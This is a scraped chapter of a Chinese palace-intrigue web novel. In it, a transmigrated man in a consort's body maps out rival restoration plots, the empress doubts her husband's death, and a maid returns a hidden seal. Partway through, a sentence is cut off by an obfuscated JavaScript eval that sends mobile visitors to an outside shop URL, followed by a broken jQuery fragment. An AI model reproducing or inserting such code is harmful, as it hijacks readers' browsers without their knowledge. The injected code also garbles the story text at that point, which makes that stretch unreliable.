文趣网 > 其他小说 > 拉妃 > 18. 第 18 章
    回宫的第二日,是要谢恩的。

    母女二人一道去了乾元殿。文馨走在前头,老梁跟在半步之后,一路上谁也没跟谁说话,只有裙裾扫过宫砖的、极轻的声响。

    永昌帝在殿里等着。见了她们,脸上难得地有了些笑意,命人赐了座。

    "寺里,一切还好?"

    "托皇上洪福。"文馨欠身,那张端贵的脸上,是宫里操练了十几年的、恰到好处的笑,"静安寺清静,庵中日日诵经祈福,为国为君,也为拉妃的凤体。"

    "娘娘替臣妾操了心。"老梁在一旁接了一句,也垂着眼笑。

    永昌帝望着她们两个,那目光在两人身上,不动声色地转了一转。

    "你们二位有心了。"

    老梁从袖中取出一个用素锦包着的小盒,双手奉上。文馨也捧出一个一模一样的。

    "这是静安寺的开光金箔。"老梁道,"一片求国泰,一片求君安。臣妾和娘娘,一人替皇上求了一片,恳请皇上收下。"

    永昌帝接过,打开看了一眼。那两片金箔薄如蝉翼,在殿里那点晨光底下,闪着极淡的、佛前灯烛似的光。

    他没有说话。他只是把那两片金箔,很轻地,重新盖好,搁在了手边。

    "朕收下了。"他道。

    老梁看得出,他这一句"收下了",是真的收下了。不是收下两片金箔,是收下这两个女人一路奔波、一路诚心。

    老梁忽然有一瞬,眼皮子发热。

    他把这点异样压下去,同文馨一道,起身告退。

    出了乾元殿,走到岔路口,母女二人要分道回各自的宫。

    文馨停下脚步,回头看了老梁一眼。

    那一眼——不是从前那种做母亲的疼惜,而是满眼的疑问。

    "你先回吧。"文馨轻声道,"娘也累了,回去歇歇。"

    "娘也早些歇息。"老梁道。

    文馨点了点头,转身走了。

    老梁站在岔路口,看着她的背影,看了一会儿,才慢慢地,往自己那边走。

    文馨一进自己的寝宫,就把所有人都屏退了。

    她说她要静一静,谁都不许进。垂西公公守在殿门外,垂着眼,一动不动。

    殿里,只剩她一个人。

    她也没坐。她就在殿里,一步一步地,慢慢地走。

    从窗前走到榻边。从榻边走到那张紫檀条案前。从条案前走回窗前。

    那串念珠在她手里,捻着,可她自己不知道自己捻到了第几颗。

    她心里那件事,回宫这一路上,一直压着。压得住。可回了这殿里,四下无人,那件事,像一头蛰伏的兽,从她心里最深、最不许自己碰的那个角落,慢慢地,抬起头来。

    那个背影。

    她告诉了自己一百零一遍是幻觉。她这一夜一夜,也压过了。她本以为回了宫、见了皇上、上了朝、恢复她这十几年过惯的日子,那点幻觉自然就散了。

    可那点幻觉没散。反倒像一根扎进了肉里的极细的刺,越是不去碰它,越是发着钝钝的、拔不掉的疼。

    她终于停在了那扇窗前。

    她扶着窗棂,望着窗外那株从她进宫那年就种下的、如今已经参天的老槐树,望了很久。

    她开始回忆。

    那一年,她二十岁。

    旧皇身染痨病,已是迟暮。而延平王与永昌帝世子相争,明争暗斗,势如水火。

    可就是那一个没有月亮的夜,一切都变了。

    大火起的时候,她不在王府。她带着婉清,正在城外的庄子上小住。庄子离王府三十里地,可火起得那样大,半个天,都被烧红了。她站在庄子的院子里,抱着才两岁的婉清,隔着三十里地的夜色,看见了那半边烧红的天。

    她当时就知道,坏了。

    坏得比她最坏的想头,还坏。

    她连夜带着孩子从后门走,从此再没回过那座王府。

    再听见消息的时候,是四天后。

    她已经躲进了一处旧年跟着王爷去过的、京郊的农庄。农庄的老仆冒着大风险,四天后,把消息带了进来。

    "王爷……没了。"

    她记得自己当时坐在那间土屋里,抱着婉清。她听见那句话的时候,没有哭,也没有喊。她只觉得,天,慢慢地,从她头顶上,塌了下来。她整个人像被人抽走了骨头,坐都坐不住。

    她记得老仆当时还说了什么。她没有听清。她后来花了整整一年的时间,慢慢地、一点一点地,才把那日老仆说的话,从记忆里捡回来。

    老仆说,王府那一夜,几乎屠了个干净。

    老仆说,王爷是在王府的后园里,被人围住的。

    老仆说,王爷穿着一身赴宴的青衣,被砍倒的时候,那身青衣已经烧了半边。

    老仆说,永昌那边的人,寻到王爷的尸首,验了印,看了脸,然后放了火,把那具尸身烧得——烧得连他自己人,都不敢再看。

    老仆说,找到的时候,脸已经烧得没了。

    **脸已经烧得没了**。

    ——

    文馨扶着窗棂的手,慢慢地,收紧了。

    这七个字,她当年听过一遍,就压进了心里。那时候她想,那是王府里的乱兵烧的,是永昌那边的人斩草除根惯用的手段——他们杀完人,还要烧一遍脸,怕死尸被人拿去做文章。

    她从没多想。

    可她今日忽然想起——

    那具脸已经烧了的尸首,是穿着一身青衣被砍倒的。

    而王爷那一夜,穿的是青衣。

    ——她记得他那日穿的是青衣。他在出门前特意跟她说过:今日的宴,得穿得郑重些。

    可这世上,穿青衣的男人多了去了。

    文馨的心,"咚"的一下,跳了一记。

    她慢慢地,慢慢地,把这个念头往深处按。

    那具尸首身上,除了那身烧了半边的青衣,还找到了什么?

    她拼命回忆那日老仆的话。她在这十几年里,从来没有敢让自己往这上头去想。她一想,就要疯。可今日不知怎么的,她的脑子,像是被什么撬开了一道极小的缝,那些个当年她没敢多问、老仆也没敢多说的细节,一样一样,从那道缝里,漏了出来。

    老仆说,王爷身上那块从不离身的、他爷爷传下来的白玉扳指——没找到。

    老仆当时说这话,还感慨了一句"想是被乱兵抢了去"。

    她那时候,也觉着理所应当。乱兵杀人,抢东西是常有的。

    可现在——

    她扶着窗棂的那只手,指节,一寸一寸地白了。

    一个已经把人杀了、把脸烧了、辨都辨不出是谁的乱兵,为什么要单单把那枚扳指抢走?扳指值不了多少钱。它值钱,是因为它是王爷的。

    那不是被抢走的。

    那是……那是那具尸首,本来就没戴。

    那具尸首,不是王爷。

    文馨眼前一黑,扶着窗棂,几乎要坐下去。

    ——

    她死死地咬住牙。

    她告诉自己,不。这是幻觉。这也是幻觉。是她今日心神不定,一层一层,往深里挖,挖出一个连她自己都想要的答案。她想他还活着——她这十几年,最深最深处,是想他还活着的。所以她的脑子在骗她。她只是想。

    一具烧脸的尸首没有扳指——什么都不能说明。或许是烧的时候烧坏了。或许是那一夜实在太乱,谁也没心思去找。或许是……

    一百个"或许"。

    可她心里那一根钝钝地疼了十几年的刺,此刻在鼓噪,像是憋了十几年、终于挤开一条缝的洪水。

    她死死地扶着窗棂,闭上眼。

    寺里那个背影,又浮上来。

    那副略微佝偻的、绷着劲的、走路的样子。

    ——像。

    **太像了**。

    ——

    她终于放开了那扇窗,转过身。

    她盯着自己那间寝殿的门,盯了很久。

    她想去。

    她想现在就去,就去婉清那儿。她要问女儿一句话。就一句——

    "婉清,你父皇……真的没了么?"

    她想问。她的脚,都已经动了。

    她走到殿门口。她伸手,去推那扇门。

    她的手,按在门上,按了很久。

    她没有推开。

    她慢慢地,把那只手,收了回来。

    她不能问。

    她要是问了——若女儿答"是的,娘,父皇早就没了"——她这一根悬了十几年、今日好不容易挤开一道缝的刺,就要她的命。她这十几年撑下来的那点心气,就要在那一句"是"里,一下子散了。她也许连这天亮,都熬不到。

    她要是问了——若女儿答"娘,父皇还活着"——那她这十几年,全是被人骗的。她替他守节,她替他隐忍,她替他谋这一盘大棋,她把自己活成了一把刀——他却活得好好的,把她一个人扔在这座宫里,扔了十几年,从不来见她一面。他要是真活着,他为什么不来见她?她这十几年的活着,算什么?她一个人扛下的那些事,算什么?

    无论哪一个答案,都要她的命。

    所以她不能问。

    她要留着那个"或许"。她要让这根刺继续钝钝地疼着,不给它一个答案。她只有活在这个"或许"里,她才能明日照常起床,照常上朝,照常做她的皇后。

    她慢慢地,从门口,退了回来。

    她走回到那张紫檀条案前,坐下。

    她抬起手,拿起那串刚刚被她放下的念珠,一颗,又一颗,慢慢地,捻了起来。

    那只捻珠子的手,此刻,是稳的。

    稳得像宫里这十几年里,任何一个别的日子一样。

    老梁回了自己的偏殿,屏退了所有人。

    "娟儿,"他坐在榻上,声音很平,"你去外头,替我磨点墨来。要浓的。再打一小盆清水,取一支毛笔。"

    娟儿愣了一下:"娘娘要写字?"

    "嗯。"老梁没解释,"你把这些拿进来,然后你就搁着,不许旁人进屋。"

    娟儿应了一声,退出去了。

    不多时,她把研好的墨、清水、毛笔一并端了进来。老梁指了指青砖地面:"搁这儿。"

    娟儿把东西一一放下,抬起头,望着老梁。

    "娘娘……你要在地上写字?"她的声音里满是不解。

    "嗯。"老梁道。

    娟儿张了张嘴,想说点什么,最后还是没说。她低下头,屈膝退了两步。

    "你出去。"老梁道,"没我叫你,不许进来。"

    "是。"娟儿犹豫了一下,"娘娘……您别太累。"

    老梁笑了一下:"我不累。你出去吧。"

    娟儿又看了他一眼,那一眼里满满都是担心,可她到底什么也没问,退了出去,把门带上了。

    屋里,就剩老梁一个。

    他跪下来,跪在那片青砖地上。

    他先取过毛笔,蘸了清水,在青砖地上,横着,画了一根长长的线。

    然后他在这根线的一头,蘸了浓墨,写了"今日"两个字。

    在另一头,写了"翻牌"两个字。

    他望着这两头,在心里算了一下——三个月养身之约,还剩十九日。

    然后他在这根线的中间,蘸清水,点了一个点。他在这个点旁边,写了两个字:"起兵"。

    游弋忒起兵,父皇说不出两三个月内——就落在这十九日的前后。或早,或晚,反正,就在这根线的中段某处。

    老梁跪在那儿,望着这根线,望了很久。

    这根线,是他自己的一根命线。这根线的两头,一头是"我这具身子今晚就得跟一个男人圆房",另一头是"我这具身子背后的那个'父皇'要用这具身子当旗、去杀那个男人"。而在这两头之间,游弋忒一起兵,天下就要大乱。

    这根线,怎么走,他都是死。

    ——

    他重新蘸了清水,往下移了移。

    在这根线的下方,他开始画另一样东西——他脑子里那张图。

    他先画了四个方框。

    第一个框,他写"父皇"。旁边补了一行小字:"复辟。要坐龙椅。要用我的印、我的血脉。恨永昌。信我。"

    第二个框,他写"娘"(一顿),改成"皇后"。旁边小字:"也复辟。也想要那把椅子。也恨永昌。有兵——嘉峥。不知父皇活着。信我。以为父皇死了。"

    第三个框,他写"永昌"。旁边小字:"也许知道文馨是我娘?——不知道,皇上不知道。他信我。他心疼我。他等着我圆房。他不知道自己两三个月内就要死了。"

    老梁写到这儿,笔顿了一下。

    他抬起头,望着屋子的另一头。他脑子里那个在乾元殿高阶上、穿着单衣望月的、一动不动的背影,晃了一下。

    他咬着牙,把这一晃压了下去,重新低下头。

    第四个框,他写"游弋忒"。旁边小字:"父皇的棋。名义反贼。父皇没告诉我他信不信这个人。手里有兵。"

    四个框画完,他坐直了些,望着这四个框,皱起了眉。

    ——

    他重新提笔。

    他开始在这四个框之间,画线。

    父皇 →游弋忒:一根实线。父皇推着游弋忒起兵,游弋忒是父皇的刀。

    父皇 →皇后:一根问号。父皇不来见皇后。皇后不知父皇活着。父皇有没有想过,将来复辟成了,怎么面对皇后?他想都没想过?还是他有别的算盘?

    皇后 →永昌:一根实线,一头写"杀"字。皇后要杀永昌,报当年的辱。

    父皇 →永昌:一根实线,也是"杀"字。父皇要杀永昌,坐龙椅。

    老梁盯着这两根线,忽然发现——

    **父皇和皇后,要杀的是同一个人。**

    可他们两个,谁也不知道彼此在杀。皇后以为她一个人在杀。父皇也以为他一个人在杀。

    ——

    老梁把笔慢慢放了下来。

    他望着这两根都指向"永昌"的、一模一样的"杀"字,脑子里"轰"的一下。

    如果游弋忒真反了。如果京畿之兵调出去了。如果那一晚,宫里乱了——

    父皇那边,凭那枚印、凭婉清出面,要昭告天下、要复辟。

    皇后那边,凭嘉峥手里那一小队禁军,要趁乱杀永昌、要夺位。

    这两拨人,都朝着同一座乾元殿去。**都朝着永昌那把椅子去**。

    他们要在同一晚、同一座宫里、朝着同一个男人下手——而彼此都不知道对方在动。

    这两拨人一撞——

    老梁忽然觉得后背,一根一根凉毛,都竖了起来。

    这两拨人一撞,会是什么样,他不敢再往下想。

    ——

    他咬着牙,又提起笔。

    他在这四个框的外头,画了一个更大的框。

    他在这个更大的框里,写了两个字。

    "我。"

    他望着这两个字,愣了很久。

    我。梁志超。四十七岁。男。一个在洗手间蹲坑穿过来的、莫名其妙就顶了别人一具身子的、跟这些事屁都没关系的人。

    我。在这四个框的正中央。

    父皇当我是印。皇后当我是女儿。永昌当我是妃子、是知己。游弋忒当我是……当我是他起兵的名头,替前朝血脉打旗号的那面旗。

    四个人,每一个人,看我,都不是我。都是那具身子。

    而这具身子,将来必要在那一场撞里,被撕成四瓣。

    ——

    老梁把毛笔放下,慢慢地,抬起手,抹了一把脸。

    他不知道自己是什么时候,出的汗。

    他跪在青砖地上,望着这一地他自己画出来的、清水和浓墨混着的、越干越模糊的图。

    他想通了一件事。

    ——他没有活路。

    他画了这么多线、这么多框,把他能想到的每一种走法都列了。他现在看得清清楚楚——每一条路的尽头,都是这具身子被推上那面旗、然后在乱局里死掉。父皇让他死一种死法。皇后让他死另一种死法。永昌那边,他不能站——他要一站过去,父皇皇后这边就死。

    他从穿过来那一天起,就没有回头路。他这一具身子,本就是那位仙人送来"填坑"的——填婉清舍身牺牲的那个坑。他不填,这具身子里的婉清,就前功尽弃。他填,就填成一堆灰。

    他跪在那儿,忽然,一阵极钝、极荒唐的想笑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900900|212941||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    他在心里骂了一句:老子在茅厕里打个盹,怎么就蹲进这么一盘要命的大棋里了。

    他笑了一下。可那一下笑,还没笑出声,就散了。

    他抹了一下眼睛,也不知抹的是汗还是别的。

    他望着地上那片模糊的水墨,望了很久。

    然后他慢慢地,站起身。

    他没有再看那张图。他也没有把它擦掉——他没那个力气。他让它就那么在青砖上,晾着,一点一点地,自己干掉。

    他走到榻边,坐下。

    他抬手,从袖中,把那枚小小的、被延平王亲手交到他手心里的松木牌,取了出来。

    他把这枚木牌,搁在了膝盖上。

    他望着它,望了很久。

    外头,日头已经偏西了。屋里的光,一寸一寸地暗下去。

    他脑子里那道最深的坎,没跨过去。他跨不过去。他跨过去,就得替婉清赴那具死。他不跨过去,这几个月骗那么多人得来的这条命,也是白活。

    他跨不过去,就止在那儿。

    ——

    就在这时候,门被人极轻地叩了两下。

    "娘娘,"是娟儿的声音,压得低,"有容姐姐来了。"

    老梁的手,慢慢地,收紧了。

    他把那枚松木牌,塞回袖中。

    他闭了一下眼,深深吸了一口气。

    "让她进来。"

    有容进来的时候,脚步是轻的。

    她一进门,先在门口站住,福了一福。"给拉妃娘娘请安。"

    老梁抬起头。

    眼前这个女人,还是从前那个女人。素净的宫装,鬓发梳得一丝不苟,那张脸上是打从平南天府里就一直挂着的、温顺妥帖的笑。

    跟他昨日、前日、上个月看见的那个"有容",一分不差。

    可老梁知道,从今日起,这个女人,跟从前不一样了。

    他也笑了一下。他这一笑,比他这几个月里,任何一次笑,都费劲。

    "有容姐姐,坐吧。"

    "奴婢站着回话就成。"有容道。

    "我让你坐,你就坐。"

    有容看了他一眼,那一眼里似乎有一点极淡的东西——是欣赏,还是别的,老梁看不出来。她道了声"是",在下首的一张小凳上,斜坐了半个身子。

    她把随身带着的一个素锦小盒,双手,恭恭敬敬地,放在两人之间那张小几上。

    "娘娘出宫祈福那几日,"她垂着眼,语气是最本分的仆妇口吻,"奴婢清点娘娘平日贴身的物件,见这样东西,随意搁在梳妆匣子的最里头,怕给下头哪个粗手笨脚的宫女碰坏了。奴婢自作主张,替娘娘暂收了几日。"

    她伸手,把那小盒轻轻推到老梁面前。

    "今儿完璧奉还。请娘娘验看。"

    老梁没有立刻去开那盒子。

    他望着那素锦小盒,望了一息,又抬眼,望了望有容。

    有容垂着眼,那张脸上的神色,恭敬里带着一分坦然,仿佛她真的只是替主子收好了一样贵重的东西、又完好地交回来。

    老梁伸手,把那小盒打开。

    那支簪子——他那支并蒂莲的银簪——静静地躺在里头。

    他伸手,把簪子取出。

    他的指腹,几乎是自然而然地,抚上了那朵花蕊底下、那道极细的、他闭着眼都能找到的接缝。

    那道接缝,还在。里头那枚玉印,也还在。

    他攥住那支簪子,慢慢地,抬起头。

    有容还是那副垂眼的样子。

    "有容姐姐替我收着,我谢谢你。"老梁听见自己的声音,慢慢地开口,"这簪子,是我从小戴到大的。宫里头人多眼杂,是我这些日子疏忽了。"

    "娘娘言重了,这是奴婢分内的事。"

    老梁没有说话。

    他把那支簪子,紧紧地,攥在了掌心里。

    ——

    屋里静了一会儿。

    有容像是想到了什么,抬起眼。

    "娘娘,"她轻声道,"奴婢跟了皇后娘娘这些年,也在娘娘身边这些日子——奴婢跟娘娘,说句掏心窝子的话,可使得?"

    老梁点头:"你说。"

    "奴婢是从延平王府出来的旧人。"有容道,语气不高不低,像是在说一件最平常不过的家常事,"当年家破的时候,奴婢跟着皇后娘娘,一路九死一生。这些个日子,奴婢记得。"

    老梁"嗯"了一声。

    "奴婢在这宫里几十年,"有容继续道,"靠的不只是皇后娘娘一位主子。这宫里头,从伺候老人的太监,到扫地烧茶的粗使宫女,奴婢自己也认得几个说得上话的。这些人脉,是奴婢十几年,一颗汗珠子摔八瓣,攒下来的。奴婢一直没跟娘娘提,是怕娘娘嫌奴婢多事。"

    老梁的手,在膝盖上,又收紧了一分。

    有容抬起眼,望了他一眼。

    "娘娘,"她的声音更轻了,"这天下的事,奴婢一个奴才,本不该妄议。可奴婢瞧着——这几年的风声,越来越紧了。"

    "奴婢有些事,皇后娘娘不知道,可奴婢,多少知道一些。"

    她这一句"皇后娘娘不知道",说得极轻,却像一片薄薄的刀片,从老梁脑门顶上,"嚓"地一下,划了过去。

    **有些事,皇后娘娘不知道,奴婢多少知道一些。**

    老梁的呼吸,屏住了。

    有容像是什么都没说似的,垂下眼,接了下去:"奴婢跟着娘娘、跟着皇后娘娘这些年,眼里心里,只有一个字——保。保娘娘周全。将来这天下,风雨怎么走,奴婢一个奴才,猜不到。可无论最后是这天下换给谁——是……哪一位老人家做主也好,是皇后娘娘一系做主也好——奴婢这条命、这几十年攒下的一点子人脉,都是要为着他日复辟大业,尽一点绵薄之力的。"

    老梁在心里飞快地过了一遍,忽然明白了,这妮子是两头下注啊。

    眼前这个恭恭敬敬的、把簪子亲手交回他手心里的、鬓发梳得一丝不苟的女人——城府深得可怕。

    她拿了他的簪子,又还给他。她本可以扣着这簪子要挟他,她没有。因为她要走的路,不是要挟这条路。她要走的路,是让所有人都欠她一个人情。

    "有容姐姐——"他听见自己的声音,慢慢地,"我明白你的意思。"

    有容抬起眼,笑了一下。那一笑里,恭敬和亲切,浑成了一块。

    "奴婢就知道,娘娘是个明白人。"

    她起身,深深地,行了一礼。

    "这几日娘娘刚从寺里回来,累了。奴婢就不多打扰了。往后娘娘但凡有用得着奴婢的地方,只管吩咐——奴婢自当替娘娘,把该护的都护好。"

    她说完,也不多留,屈膝退了两步,转身,走了。

    殿门在她身后,轻轻地阖上了。

    老梁一个人坐在那儿,半晌,一动也没动。

    他掌心里,那支簪子,被他攥得发烫。

    他慢慢地,把那支簪子松开,摊在手心里。

    那支簪子,还是那支簪子。可他知道,这支簪子回到他手里,已经不完全是他一个人的了。

    它经过了别人的手。

    她用这一还,告诉他——她比李越更近。她比皇后更深。

    而他,从今往后,甩不掉她了。

    他攥着簪子,望着地上那片自己画出来的、一片模糊的水墨图。图上的四个框、几根线,在暮色里,已经渐渐地看不清了。

    他忽然想起了李越。

    那个送炭的、说着"陈伯""秦伯"的老太监。父皇亲口交代的、第一条线。

    而现在——

    有容和李越,一个明,一个暗。一个是父皇给他的枪,一个是他身边埋了多少年、他一直没看见的另一样东西。

    他这具身子的"暗线",从来不只是李越那一条。

    从来不是。

    老梁把那支簪子,重新用袖子裹了,压进衣襟最里头。

    他坐在暮色里,一动不动,坐了很久很久。

    窗外,最后一线光落下去,屋里彻底黑了。

    他没有点灯。

    他也没有叫娟儿。

    只有那地上一片水墨,还在慢慢地,慢慢地,往干里去。